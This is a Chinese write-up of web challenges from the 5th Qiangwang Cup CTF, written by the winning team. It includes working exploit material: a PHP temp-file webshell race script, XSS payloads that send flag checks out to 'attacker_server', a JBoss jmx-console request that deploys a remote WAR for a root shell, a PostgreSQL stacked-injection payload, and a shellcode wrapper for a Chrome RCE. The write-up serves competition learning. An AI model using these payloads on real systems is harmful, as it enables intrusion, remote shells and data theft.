第五届强网杯线上赛冠军队 WriteUp - Web 篇

admin 2021年6月19日09:30:50评论320 views字数 11422阅读38分4秒阅读模式
微信又改版了,为了我们能一直相见
你的加星在看对我们非常重要
点击“长亭安全课堂”——主页右上角——设为星标🌟
期待与你的每次见面~

6月12-13日,第五届“强网杯”全国网络安全挑战赛线上赛结果出炉,由长亭科技组建的0x300R战队从线上3156支战队中脱颖而出,夺得冠军宝座。本着分享的极客精神,现将解题WriteUp公开与大家分享讨论,欢迎在留言中与我们互动。

另外,长亭科技现有多个岗位正在招聘,欢迎投递简历,加入我们哦~

第五届强网杯线上赛冠军队 WriteUp - Web 篇



pop_master


题目 index.php 提供了反序列化的入口函数以及用户可控的函数参数,但是可使用的类很多至无法人工分析,按照每一个 class 节点两个分支来计算,共有近 2-30 个分支需要看,所以题目的考点很明显是自动化寻找 popchain。

相关的 paper 很多,但都不开源工具。在 github 寻找相关的工具,例如 https://github.com/LoRexxar/Kunlun-M需要对其做一定的修改(增加entry,设置结束条件,修改为深度优先搜索 #因为我们只需要一条链即可解题#)。

题目的预期解法应该是通过 ast 生成 cfg,然后检测净化操作进行剪枝,但是笔者观察代码比较规整,使用简单的正则表达式即可完成 taint 到剪枝的操作。具体思路是通过 index.php 的 entry 寻找其定义的位置,然后检查函数参数是否被净化处理(强制赋值),如果没有则通过深度优先搜索,利用同样的操作处理这个函数中所调用的函数,直到找到一条路径通往 eval,同时函数参数没有被强净化。这里有一个比较 tricky 的处理方式,笔者观察到所有强净化操作的等号 “=” 与左值中间是没有空格的,弱净化操作是存在空格的,那么就不需要进行动态运算即可判断是否进行强净化。

最终代码如下:
import re phpf = open('class.php').read()
popchain = []#入口函数(entry)start_func = 'public function SZB1zV'func_split_aa = start_funcstop =0 #深度优先搜索def check_santi(func_split): callee_class_preg_obj = re.findall(r'([a-zA-Z0-9->$]*)(([^)]*))',phpf.split(func_split)[1].split("public function")[0], re.M|re.I) #匹配参数名 arg = callee_class_preg_obj[0][1] #匹配代码块 code_block = phpf.split(func_split)[1].split(" public function")[0] #强净化检测 if arg+"=" in code_block: print("falied") return False else: callee_class_preg_obj = re.findall(r'([a-zA-Z0-9->$]*)(',phpf.split(func_split)[1].split("public function")[0], re.M|re.I) #遍历目标函数中所有被调用的函数 for c in callee_class_preg_obj: if c=="": continue #eval函数 if c == 'eval': print('eval!') stop =1 return True #被调用的函数$this->member->funcname(xxx) if c[0] == '$': #当前的class name class_name = phpf.split(func_split)[0].split('class ')[-1].split('{')[0] #被调用函数对应的类赋值给当前类的哪个member current_class_member = c.split('->')[1] #被调用函数名 func_split_n = "public function " + c.split('->')[2] #深度递归被调用函数 if not check_santi(func_split_n): continue print(func_split_n) #获取被调用函数所属的class name new_class_name = phpf.split(func_split_n)[0].split('class ')[-1].split('{')[0] #添加popchain节点 popchain.append({"name":class_name,"member":current_class_member,"new_class":new_class_name}) print(popchain) return True
check_santi(func_split_aa)print("ok")
#生成popchain的php代码gen_str = ""last_class_name = popchain[0]['new_class']cnt = 0for i in popchain: if cnt == 0: gen_str += "$"+i["name"]+"test" +" = new "+i["name"]+"();" gen_str += "$"+i["name"]+"test->"+i["member"]+"= new "+last_class_name+"();" last_class_name = i["name"] cnt+=1 continue gen_str += "$"+i["name"]+"test" +" = new "+i["name"]+"();" gen_str += "$"+i["name"]+"test->"+i["member"]+"= $"+last_class_name+"test;" last_class_name = i["name"]
print(gen_str)

[强网先锋]赌徒


进行路径扫描获得 www.zip, 拿到题目源码,是一个简单的反序列化漏洞。可以构造反序列化链进行任意文件读取,直接读 flag, 得到两个脏字节 (hi)+base64 串,解开 base64 串即可获得 flag。

[强网先锋]寻宝


第一步是简单的php弱类型游戏:
ppp[number1]=2022a&ppp[number2]=8e9&ppp[number3]=61823470&ppp[number4]=0e12345&ppp[number5]=abcd
拿到第一个key。

第二步是通过迅雷下载不稳定的题目附件,解压之后递归遍历一下 docx 内容,拿到第二个key。提交两个key获得flag。

WhereIsUWebShell


通过构造畸形序列化字符串,绕过正则,获取源码。进行代码审计:
O:7:"myclass":1:{s:5:"hello";O:5:"Hello":2:{s:3:"qwb";s:36:"e2a7106f1cc8bb1e1318df70aa0a3540.php";}}

第五届强网杯线上赛冠军队 WriteUp - Web 篇



通过 post 上传临时可以绕过二次渲染的马,getshell。可以利用 file_get_contents 来阻塞住进程,延长临时文件存在的时间。

# -*- coding: utf-8 -*-import reimport sysimport requestsimport threadingimport time
image = open('evil.png', 'rb').read()uploadImage = [('file', ('exp.png', image,'application/png'))]
proxies = {'http': '127.0.0.1:8080'}

def upload(): payload = {} files = uploadImage headers = {'Cookie': 'ctfer=%4f%3a%37%3a%22%6d%79%63%6c%61%73%73%22%3a%32%3a%7b%73%3a%31%3a%22%61%22%3b%4f%3a%35%3a%22%48%65%6c%6c%6f%22%3a%32%3a%7b%73%3a%33%3a%22%71%77%62%22%3b%73%3a%32%35%3a%22%68%74%74%70%3a%2f%2f%38%31%2e%36%38%2e%31%37%30%2e%32%34%33%3a%32%33%33%33%22%3b%7d%73%3a%31%3a%22%62%22%3b%4f%3a%33%32%3a%22%65%32%61%37%31%30%36%66%31%63%63%38%62%62%31%65%31%33%31%38%64%66%37%30%61%61%30%61%33%35%34%30%22%3a%30%3a%7b%7d%7d' } response = requests.request("POST", url, headers=headers, data=payload, files=files, proxies=proxies) print(response.text)

def scanTmpDir(): u = url + "/e2a7106f1cc8bb1e1318df70aa0a3540.php" param = { scan_param: '/tmp/', }while True: response1 = requests.get(u, params=param, allow_redirects=False) files = re.findall(r'php[a-zA-Z0-9]{6}', response1.text)if len(files) != 0: include(files)

def include(files): u = url + "/e2a7106f1cc8bb1e1318df70aa0a3540.php"for file in files: file = "/tmp/" + file param = { include_param: file,'1':"system('{}');".format(command) }# print("including :", file) response = requests.get(u, params=param, proxies=proxies) print(response.text)

if __name__ == '__main__':if len(sys.argv) < 3: print("py -3 exp.py url include_param scan_param command") exit() url = sys.argv[1] include_param = sys.argv[2] scan_param = sys.argv[3]
command = sys.argv[4]
attack = ""
threading.Thread(target=upload).start() threading.Thread(target=scanTmpDir).start()

通过信息搜集,最后通过 bin 下的 文件获取 flag。

EasyXSS


阅读 hint ,是要通过构造一个 xss 让 admin 去逐字节比较 flag, 一开始在 write 那找到了一个 xss 可以引入 <base> 标签,导入外部 js, 但是尝试 report 好像没触发,无果。在about 处又找到了一个 xss:
import requests
r = requests.Session()
#host = 'http://47.104.192.54:8888'
host = 'http://47.104.210.56:8888'username = 'guesttest'password = 'guesttest'
def register(host):
url = f"{host}/register" res = r.post(url, data = {"username":username, "password":password})

def login(host): url = f"{host}/login" res = r.post(url, data = {"username":username, "password":password})

register(host)login(host)

uuid_table = '-abcdef1234567890'flag_str = 'flag{6bb77f8b-6bc8-4b9e-b654-8a4da'flag_str = "flag{6bb77f8b-6bc8-4b9e-b654-8a4da5ae920"while True:
for i in uuid_table: flag = flag_str + i payload = 'http://localhost:8888/about?theme=%22;$.ajax({url:%22/flag?var=' + flag + '%22,success:(data)=>{location.href="http://attacker_server/?test"}});//' print(payload) url = f"{host}/report" res = r.post(url, {"url":payload})import time time.sleep(6)with open("/var/log/apache2/access.log", "r") as f: data = f.read()import os os.system('echo "" > /var/log/apache2/access.log') time.sleep(0.1)if 'test' in data: flag_str = flag print(flag_str) break

EasySQL


题目源码:
const salt = random('Aa0', 40);const HashCheck = sha256(sha256(salt + 'admin')).toString();
let filter = (data) => {let blackwords = ['alter', 'insert', 'drop', 'delete', 'update', 'convert', 'chr', 'char', 'concat', 'reg', 'to', 'query'];let flag = false;
if (typeof data !== 'string') return true;
blackwords.forEach((value, idx) => {if (data.includes(value)) {console.log(`filter: ${value}`);return (flag = true); } });
let limitwords = ['substring', 'left', 'right', 'if', 'case', 'sleep', 'replace', 'as', 'format', 'union']; limitwords.forEach((value, idx) => {if (count(data, value) > 3){console.log(`limit: ${value}`);return (flag = true); } });
return flag;}app.get('/source', async (req, res, next) => { fs.readFile('./source.txt', 'utf8', (err, data) => {if (err) { res.send(err); }else { res.send(data); } });});
app.all('/', async (req, res, next) => {if (req.method == 'POST') {if (req.body.username && req.body.password) {let username = req.body.username.toLowerCase();let password = req.body.password.toLowerCase();
if (username === 'admin') { res.send(`<script>alert("Don't want this!!!");location.href='/';</script>`);return; }
UserHash = sha256(sha256(salt + username)).toString();if (UserHash !== HashCheck) { res.send(`<script>alert("NoNoNo~~~You are not admin!!!");location.href='/';</script>`);return; }
if (filter(password)) { res.send(`<script>alert("Hacker!!!");location.href='/';</script>`);return; }
let sql = `select password,username from users where username='${username}' and password='${password}';`; client.query(sql, [], (err, data) => {if (err) { res.send(`<script>alert("Something Error!");location.href='/';</script>`);return; }else {if ((typeof data !== 'undefined') && (typeof data.rows[0] !== 'undefined') && (data.rows[0].password === password)) { res.send(`<script>alert("Congratulation,here is your flag:${flag}");location.href='/';</script>`);return; }else { res.send(`<script>alert("Password Error!!!");location.href='/';</script>`);return; } } }); } }
res.render('index');return;});

题目是一个看似 quine (https://en.wikipedia.org/wiki/Quine_(computing)) 的 sql 注入语句构造小游戏, 所谓quine就是代码或指令的内容与该代码/指令执行返回结果相同。本题是要构造注入语句与注入结果相同(password)。

首先需要通过对用户名的检测,既不能等于 “admin”,同时算出来的 hash 还要和 admin 相同,这里使用了 javascript 的小 trick:

第五届强网杯线上赛冠军队 WriteUp - Web 篇

通过 username[]=admin 即可绕过检测。

接下来就是对 password 这里 sql 注入的考量,首先题目设定了一些 waf 拦截了一些关键词以及限制了一些词的使用次数。

可以简单的对数据库类型进行探测,尝试了一些常用的 mysql 函数,发现不匹配(报错),sqlite 函数也不匹配,最终定位成 pgsql。

然后通过 like 语句测试出 users 表是空表,那么很显然的解决方案:

  • 绕过 waf 进行 quine 的构造;

  • 通过堆叠注入向表中插入数据。

第一个方案对于 pgsql 来说很简单,pgsql 存在 current_query 或者一些系统表可以获取当前执行的语句,但是因为关键词次数的限制以及 union 不明原因无法正常使用(可能和对应的 pgsql 版本有关),笔者放弃了。

最后通过 create function 建立一个可以执行任意 query 的函数,通过字符串翻转函数绕过 waf,执行 insert 插入数据。感觉可能是非预期解法。

https://stackoverflow.com/questions/7433201/are-there-any-way-to-execute-a-query-inside-the-string-value-like-eval-in-post
create or replace function eval(expression text) returns integeras$body$declareresult integer;beginexecute expression;  return 1;end;$body$language plpgsql;select eval(reverse(')''ass111'' ,''nimda''( seulav )drowssap ,emanresu( sresu otni tresni'));commit;

最后一个问题,执行堆叠注入会导致 client.query 返回为空,使题目挂掉,因为执行了 commit 操作,所以可以在其后构造一些语法错误,让 err 有返回值:
username[]=admin&password=a';create%20or%20replace%20function%20eval(expression%20text)%20returns%20integer%0aas%0a%24body%24%0adeclare%0a%20%20result%20integer%3b%0abegin%0a%20%20execute%20expression%3b%0a%20%20return%201%3b%0aend%3b%0a%24body%24%0alanguage%20plpgsql%3b%0aselect%20eval(reverse(')''321aaa''%20%2c''nimda''(%20seulav%20)drowssap%20%2cemanresu(%20sresu%20otni%20tresni'))%3b;commit;aaaa--+-


EasyWeb


/files/ 路径可以读 hint,然后提示说扫端口。找到系统:
http://47.104.137.239:36842/account/login

账号处SQL 注入 'union select 1,2,3,4,5,6,7#、密码为空,即可登录。

登录后 /file/ 下有文件上传功能:

第五届强网杯线上赛冠军队 WriteUp - Web 篇

测试发现上传有检查文件名,且文件名里应该是过滤了 XSS 字符,所以用 a.p<>hp 绕过,得到 webshell。

shell 后发现是 www-data 权限,而 flag 要是 root 权限才能读。

但发现 localhost 8006 是 jboss,权限是 root:
http://47.104.137.239:36842/upload/917c389f94e804f95e4e20e4c937bf5a/a.php?1=curl%20http://127.0.0.1:8006/
第五届强网杯线上赛冠军队 WriteUp - Web 篇

root      1113  0.4  2.8 1403472 226328 pts/0  Sl   13:31   0:27 /etc/jdk1.6/bin/java -server -Xms128m -Xmx128m -Dprogram.name=run.sh -Djava.endorsed.dirs=/etc/jboss/lib/endorsed -classpath /etc/jboss/bin/run.jar:/etc/jdk1.6/lib/tools.jar org.jboss.Main -b 0.0.0.0


所以用 jmx-console 的洞直接部署war包:
http://127.0.0.1:8006/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.system%3Aservice%3DMainDeployer&methodName=deploy&argType=java.lang.String&arg0=http://attacker_server/test.war

即可获取 root shell:
第五届强网杯线上赛冠军队 WriteUp - Web 篇

然后就能读到 root 权限才能读的 flag。

HarderXSS


首先登录位置存在注入,使用账号 admin'or'1,密码任意即可登录(需要手动设置一下返回的 cookie 到当前 domain)。

头像上传的位置可以上传 svg,存在存储型 xss 漏洞:
<?xml version="1.0"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg xmlns="http://www.w3.org/2000/svg"width="467" height="462"><rect x="80" y="60" width="250" height="250" rx="20"style="fill:#ff0000; stroke:#000000;stroke-width:2px;" />
<rect x="140" y="120" width="250" height="250" rx="40"style="fill:#0000ff; stroke:#000000; stroke-width:2px; fill-opacity:0.7;" /><animate onbegin='alert(1)' attributeName='x' dur='1s'></animate></svg>

通过对 UA 的分析,发现浏览器版本过低,因此使用 chrome 1day:
https://github.com/dock0d1/Exploit-Google-Chrome-86.0.4240_V8_RCE/blob/main/exploit.js
测试leak一下地址:

第五届强网杯线上赛冠军队 WriteUp - Web 篇

然后构造反弹 shell 的 shellcode,使用下面的 js wrapper 进行转化替换掉原 exp 的 shellcode 即可:
var shellcode = "x90x90"; // replace with shellcodewhile(shellcode.length % 4)  shellcode += "x90";
var buf = new ArrayBuffer(shellcode.length);var arr = new Uint32Array(buf);var u8_arr = new Uint8Array(buf);
for(var i=0;i<shellcode.length;++i) u8_arr[i] = shellcode.charCodeAt(i);
console.log(arr);

Hard_Penetration


Shiro 反序列化漏洞,默认 key,CommonsCollections 3.x 的利用链。shell 后发现读 flag 没有权限:

第五届强网杯线上赛冠军队 WriteUp - Web 篇

执行命令查看进程发现有个 root 权限启的 apache 进程,lsof/netstat 想看占用端口但权限不够,所以扫了下本机开放的端口,确定 apache 服务端口号是 8005。

通过对比指纹、信息收集,判定用的是通用系统 baocms,在 github 上找到一份源码:
https://github.com/IsCrazyCat/demo-baocms-v17.1

审计之后,找到一个 php 文件包含的漏洞,由于 apache 是 root 权限,因此这个漏洞就能直接用来读 flag。

Hard_APT_jeesite


题目环境用的是 jeesite,版本是 1.2.7。这个版本的 jeesite 理应有 shiro 反序列化漏洞,但使用工具扫了下常见的 shiro key,都不对,估计是 key 被手动改过或者 shiro 升级过。

根据题目提示,要尝试从 shiro 的配置文件中寻找关键信息。因此从网上下载 jeesite 1.2.7 的代码,进行审计后找到一个视图注入的漏洞,直接读 shiro 的配置文件,从配置文件的注释中找到邮箱配置信息:

第五届强网杯线上赛冠军队 WriteUp - Web 篇

直接登陆 qq 邮箱登不上,判断这里的 password 应该是 pop3 的连接口令。直接用 java commons-net 库里的 POP3Client 连接 qq 邮箱服务器,从邮件里读出 flag:

第五届强网杯线上赛冠军队 WriteUp - Web 篇
第五届强网杯线上赛冠军队 WriteUp - Web 篇

这里的 base64 解开就是 flag。

第五届强网杯线上赛冠军队 WriteUp - Web 篇
点分享
第五届强网杯线上赛冠军队 WriteUp - Web 篇
点收藏
第五届强网杯线上赛冠军队 WriteUp - Web 篇
点点赞
第五届强网杯线上赛冠军队 WriteUp - Web 篇
点在看

本文始发于微信公众号(长亭安全课堂):第五届强网杯线上赛冠军队 WriteUp - Web 篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年6月19日09:30:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第五届强网杯线上赛冠军队 WriteUp - Web 篇https://cn-sec.com/archives/401271.html

发表评论

匿名网友 填写信息